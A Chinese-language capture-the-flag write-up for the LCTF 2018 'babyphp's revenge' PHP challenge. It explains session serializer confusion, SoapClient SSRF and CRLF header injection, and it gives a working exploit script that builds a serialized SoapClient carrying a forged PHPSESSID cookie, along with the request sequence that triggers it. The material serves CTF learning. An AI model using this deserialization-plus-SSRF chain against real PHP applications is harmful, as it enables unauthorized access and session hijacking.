babyphp's revenge

information collection

index.php

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
    $_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>
array(0) { }

扫一下目录发现flag.php,然鹅并没有发现怎么知道如下源码的。。(看样子是hint)
flag.php

session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

solution

1.由第一个call_user_func后面的post变量,猜测可以用到变量覆盖
2.由index.php可知session[name]可控
3.由flag.php可知,要把flag写进session,就需要本地访问,可以想到ssrf。

一开始跟小伙伴们一起复现这道题,死活写不进flag,调试了一下午,发现要么就是php引擎变量覆盖不了,要么就是soap拓展没装好~缺一不可~

变量覆盖

php的session序列化引擎有3个
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值 like:name:6:"KarmA";
php(默认):存储方式是,键名+竖线+经过serialize()函数序列处理的值 like:name|s:6:"KarmA";
* php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值 like:a:1:{s:4:"name";s:6:"KarmA";}
正常情况下如果需要修改为其他引擎,需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');但是,从php7开始可以通过参数来设置,所以这道题需要通过post来改变引擎session.serialize_handler=php_serialize

PHP中SESSION反序列化机制

SoapClient

public __call ( string $function_name , array $arguments ) : mixed
public __construct ( mixed $wsdl [, array $options ] )

利用这个类的__call方法,我们可以进行ssrf,因为当soapclient()第一个参数为null时是非wsdl模式,意味着会对第二个参数进行http请求。

CRLF

CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。

CRLF配合SoapClient,我们可以伪造cookie,在ssrf时带上我们的cookie,不然,flag是无法写入我们的session里面的。

~/Downloads nc -l 6666
POST / HTTP/1.1
Host: localhost:6666
Connection: Keep-Alive
User-Agent: KarmA
Cookie: PHPSESSID=KarmA

Content-Type: text/xml; charset=utf-8
SOAPAction: "demo#ff"
Content-Length: 366

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="demo" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:ff/></SOAP-ENV:Body></SOAP-ENV:Envelope>

exploit

本地构造php引擎序列化数据

<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
                               'user_agent' => "AAA:BBB\r\n" .
                                             "Cookie:PHPSESSID=KarmA",
                               'uri' => "http://127.0.0.1/"));

$se = serialize($b); 
echo urlencode($se);

第一次post请求
GET -> f=session_start&name=| + seralize data
POST -> serialize_handler=php_serialize
-w828
第二次post请求
GET -> f=extract&name=随意
POST -> b=call_user_func
-w828
再次刷新一下页面,就会发现flag已经写入session中了。
-w828

Conclusion

反序列化结合ssrf,这道题的思路让人大开眼界~还学会了不少骚操作~
mochazz师傅这张题解思路图简洁明了。